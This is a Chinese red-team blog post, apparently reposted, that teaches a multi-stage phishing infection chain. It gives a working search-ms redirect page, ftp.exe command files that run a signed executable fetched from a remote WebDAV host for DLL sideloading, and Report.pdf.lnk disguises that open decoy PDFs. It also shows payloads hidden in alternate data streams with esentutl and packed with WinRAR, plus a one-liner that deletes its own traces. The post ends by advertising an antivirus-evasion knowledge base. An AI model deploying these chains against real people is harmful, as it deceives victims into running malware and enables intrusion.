文章总结: 本文讨论红队多阶段感染链技术,将感染链分解为投递、容器、触发器三组件,介绍通过HTML走私、search-ms协议配合WebDav投递ISO或ZIP容器,利用Lnk、CHM、MSI等作为触发器执行命令。阐述使用ftp.exe等LOLBINS工具和esentutl操作备用数据流(ADS)隐藏载荷的技术实现,包括将诱饵文档和恶意程序绑定到Lnk文件的备用数据流中,通过WinRAR压缩保存数据流,实现隐蔽执行并展示正常文档以欺骗受害者。 综合评分: 74 文章分类: 红队,渗透测试,恶意软件,实战经验,WEB安全
红队攻防-多阶段感染链
kernel kernel
Relay学安全
2026年3月24日 22:50 陕西
免责声明
本文所有内容仅供网络安全学习与研究之用,旨在提升安全意识、探讨防御技术。读者必须承诺并保证仅将所述知识用于合法、授权的环境。
严禁任何个人或组织将本文提及的任何技术、方法或工具用于任何非法入侵、破坏、窃取数据等恶意活动。由此产生的任何直接或间接法律责任及后果均由行为人自行承担,与本文作者及发布平台无关。
作者力求内容准确,但技术发展迅速,本文不提供任何明示或暗示的担保。读者应在模拟环境或已获得明确授权的目标中进行实践。
互联网上有很多分析恶意APT团队去做的一些攻击思路,它们首先会将目标诱导到一个登录页面,然后通过HTML走私的方式释放出一个Zip压缩包文件,然后在Zip压缩包文件中存在着一个Lnk快捷方式文件,接着通过Lnk快捷方式执行并拉取一个VBS脚本,最后由VBS运行Powershell命令,诸如此类的思路。
这就是我们所说的复杂感染链,本质上就是把多个文件串联起来,组成一个完整的链路。
首先每一个感染链都由三个特定的组件构成。
- 投递: 怎么投递你的恶意文件或压缩包,比如HTML走私?直接加上微信发给对方?等等….
- 容器: 你要投递的恶意文件用什么容器来包裹?比如ZIP,ISO,PDF,VHD?
- 触发器: 在容器中会有很多文件,其中会有一个文件作为触发器,比如Lnk文件,它负责在系统中执行命令,而这条命令将真正的入侵系统并破坏资产。同时在触发器旁边会有一个诱饵文档,用来向受害者确保一切如预期般的正常,比如说受害者打开一个图标为PDF的Lnk恶意文件,该Lnk文件在执行完恶意命令后,会真正的打开一个正常的PDF文档。
比如说在Zip这种容器中,我们可以将其他文件都隐藏起来,只留下一个Lnk文件,诱导受害者打开。
一个简单的案例是: 邮件里面有一个HTML走私的链接,引诱受害者访问HTML走私页面,然后释放ISO镜像文件,该ISO容器中包含一个Lnk文件和一个DLL文件,然后通过Lnk文件直接通过Rundll32去执行该DLL的导出函数。
这就是我们所说的复杂链感染,所以首先是钓鱼邮件或HTML走私或直接发送给对方,接着然后交付ISO或Zip容器文件,然后就是触发器,这个触发器可以是Lnk,也可以是可执行文件。
首先是如何投递文件,我们可以利用HTML走私或SVG走私的方式来进行投递容器。如果你的环境允许你也可以使用邮件的附件进行投递。
当然我觉得最简单的方式就是获取对方的信任,只要获取到了对方的信任,无论你如何投递都是没什么问题的。
这里介绍一种通过协议处理程序配合WebDav的投递方式。他的工作原理如下:
首先诱导受害者访问一个网站,该网站会将用户重定向到一段特定的JS代码中,这段JS代码会动态构建或使用一个特定的URL,并将其赋值给Location对象,从而触发浏览器的重定向。
这种重定向的目标方案是search-ms,由于这是Windows默认注册的处理程序,他会调用Search-MS子系统,随后作为Windows搜索服务的Search-Ms会弹出一个资源管理器窗口。
如下POC:
<html><head> <title>search-ms</title> <script> window.location.href = 'search-ms:query=sfe_wscreg&crumb=location:\\\\127.0.0.1\\DavWWWRoot&displayname=relaysec'; </script></head><body><center> relaysec</center></body></html>
我们来解释这一下这块Javascript代码。
这里的query参数决定了只显示匹配到该关键字的文件,也就是说假如我们的webdav服务器上存在3个文件,一个白程序,一个黑DLL以及一个Shellcode,白程序的名称为: sfe_wscreg.exe,而这里设置query为sfe_wscreg,这意味着只会显示白程序这一个文件,当然这里为了演示所以显示的可执行程序,你可以显示一个图标为PDF的Lnk文件来诱导目标去点击。
这里的Location参数指向的是远程服务器WebDav的路径,这里因为是本地通过Python的库搭建的,所以这里为127.0.0.1,在实战的情况下,一般我们会设置一个域名。
这里的displayname参数的值会显示在资源管理器窗口标题栏以及导航栏中。
现在我们将该HTML文件挂载在CloudFlare中。当打开时,这里将提示你是否打开Windows资源管理器。
当我们点击打开Windows资源管理器后将匹配到我们query参数所设置的文件,那么这里你可以将其设置为PDF或Lnk文件会更好。
所以现在有很多通过这种方式来进行投递。
关于容器我们可以使用Zip,ISO来进行包含隐藏文件。
现在我们主要依靠与Lnk和CHM帮助文档来在系统中执行命令,有时我们还会考虑将ClickOnce或MSI作为触发器。
关于有效载荷的话,比如我们可以包含一个合法签名的白程序,以及黑DLL文件,利用DLL测加载的方式去加载这个DLL文件,我们可以通过Lnk去执行那个白程序,执行之后紧接着打开一个正常的PDF文件。
此外还有.cpl控制面板文件,它也可以作为触发器,还有VBA项目文件等等。
还有类似于MSI的文件,比如我们首先在正常的MSI文件植入后门等等。
这里我们使用ftp.exe来做一个测试。比如说我们要通过ftp.exe来执行命令,当然这种方式是通过LOLBINS网站中找到的。
该命令的原理是首先将!cmd /c c:\windows\system32\calc.exe这条命令写入到文件中,然后通过ftp.exe的-s参数来去执行。
echo !cmd /c c:\windows\system32\calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
这里我们尝试去执行一下。
写入的文件:
那么现在我们要对其进行变种操作了,我们需要让其可以执行我们的白程序,而且我们需要投递的文件只能是一个Lnk文件。
那么我们首先需要解决的是要通过ftp去执行我们的白程序。
echo !C:\Windows\System32\conhost.exe --headless conhost conhost conhost \\127.0.0.1\DavWWWRoot\webdav\sfe_wscreg.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
例如这条命令,我们通过conhost来去执行挂载在WebDav服务下的sfe_wscreg.exe。可以看到成功执行。
进程链如下:
我们再次转变一下思路,既然白程序可以挂载在WebDav下,那么这是不是意味着,ftpcommands.txt也可以挂载在WebDav下呢?
我们在Webdav目录下创建该文件,并写入:
!C:\Windows\System32\conhost.exe --headless conhost conhost conhost \\88.88.88.116@8011\DavWWWRoot\webdav\sfe_wscreg.exe
现在我们只需要将其Lnk指向ftp.exe,后续的命令只需要写成这样即可:
C:\Windows\System32\ftp.exe -s:\\88.88.88.116@8011\DavWWWRoot\webdav\ftpcommands.txt
那么这样也是可以调用的。
最好可以再打开一个正常的PDF文件,比如我们将其ftpcommands.txt文件写入成这样。
!C:\Windows\System32\conhost.exe --headless conhost conhost conhost \\88.88.88.116@8011\DavWWWRoot\webdav\sfe_wscreg.exe && \\88.88.88.116@8011\DavWWWRoot\webdav\test.pdf
如下图我们可以看到执行完白程序后,将打开test.pdf文件。
那么一般的话我们会将Lnk文件直接发送给受害者,所以一般这么去命名即可: Report.pdf.lnk,因为即使在系统上开启了 “显示文件扩展名” 选项,.lnk后缀依然会被隐藏掉。
接下来我们来聊另外一种感染链思路,这种感染链是通过esentutl备份数据流工具来做的。
主要参考于: https://medium.com/@pjbmalware/urelas-leveraging-alternate-data-streams-in-lnk-files-d3d514811fbc。
如下链接:
https://lolbas-project.github.io/lolbas/Binaries/Esentutl/
我们主要关注于替代数据流,它可以将源文件复制到目标文件的备用数据流ADS。当然也可以将源备用数据流ADS复制到目标EXE。
主要是这两条命令:
esentutl.exe /y C:\Windows\Temp\file.exe /d C:\Windows\Temp\file.ext:file.exe /oesentutl.exe /y C:\Windows\Temp\file.ext:file.exe /d C:\Windows\Temp\file.exe /o
那么其实我们可以稍微的改改就可以了,我们可以将其真正的PDF文件复制到Lnk文件的备用数据流。
esentutl.exe /y "Xftp7_ko.pdf" /d "Res.pdf.lnk:file.exf" /o
下一步则是释放PDF文件。
esentutl.exe /y "Res.pdf.lnk:file.exf" /d "Xftp7_ko.pdf" /o
但是我们似乎可以在本地测试成功,但是如果你放到其他机器上你会发现它报错了。
这通常是因为你只把Res.pdf.lnk文件复制到其他机器上了,但是你并没有将file.exf复制过去。
所以这里我们就要需要通过WINRAR来对其Lnk文件进行压缩,需要注意的是这里似乎只有Winrar可以勾选数据流选项,其他比如7zip,BandZip似乎都不支持。
我们对其进行压缩,勾选保存数据流。
从压缩的文件中我们可以看到文件的大小明显有了变化,变得稍微有点大了,这就是因为数据流也被压缩进去了。
现在你只需要将这个压缩包发送给对方即可,当他通过Winrar解压并且运行Lnk文件时就会释放出我们正常的PDF文件。
当然你的Lnk中需要指向这条命令:
%WINDIR%\System32\esentutl.exe /y "Res.pdf.lnk:file.exf" /d "Xftp7_ko.pdf" /o
可以看到当执行命令后将成功释放该文件。我们也可以加上比如Start命令来启动该PDF文件,保证目标以为是打开的一个正常的文件。
根据上面的思路,也可以对其进行判断操作,比如说判断该文件是否已经存在,如果存在的话则直接使用Start来启动合法的PDF文件,并且删除.lnk文件,确保只留下一个PDF文件。
/c esentutl.exe /y "%cd%\Res.pdf.lnk:file.exf" /d "%cd%\Xftp7_ko.pdf" /o & IF EXIST "%cd%\Xftp7_ko.pdf" (start "" "%cd%\Xftp7_ko.pdf" & del "%cd%\Res.pdf.lnk") ELSE msg * "Connection Error!!!"
请看如下视频:
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
Relay学安全已关注
分享视频
,时长00:20
0/0
00:00/00:20
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:20
00:20
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
红队攻防-多阶段感染链
观看更多
转载
,
红队攻防-多阶段感染链
Relay学安全已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
现在的思路是这样的,首先从一个模拟docx文件的Lnk快捷方式中释放出一个真正的docx文件,判断该文件是否存在并打开该文件,并且再去释放一个真正的Loader文件,而这个Loader文件则是去下载白程序以及黑DLL文件并执行它们。
所以这里一个文件是可以拥有多个备份数据流的,比如说,我们这里的repos.pdf.lnk文件,我们可以给该文件设置两个备份数据流,比如说让其先释放一个PDF文件,再去释放一个xls文件,这样是完全没有问题的。
esentutl.exe /y "Xftp7_ko.pdf" /d "Repos.pdf.lnk:file.exf" /o
esentutl.exe /y "111.xls" /d "Repos.pdf.lnk:file.ext" /o
现在还是老样子通过winrar来对其进行打包以及保存备份数据流,最后来释放文件。
esentutl.exe /y "Repos.pdf.lnk:file.ext" /d "111.xls" /oesentutl.exe /y "Repos.pdf.lnk:file.exf" /d "Xftp7_ko.pdf" /o
那么既然一个文件可以绑定多个备份数据流,这也就意味着,我们可以绑定比如Shellcode``Loader.
而你可以在你的Loader中写你的代码,比如说释放多个文件又或者其他?
这个自由发挥…..
内部知识库详情介绍
经过长时间的编写文档,这里建立了一个免杀学习的内部知识库。
在这里我们当脚本小子,只探究原理,能让你真正的从0到1学习免杀相关知识。
等等后续继续更新…
需要请加V备注知识库:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Relay学安全 kernel kernel《红队攻防-多阶段感染链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论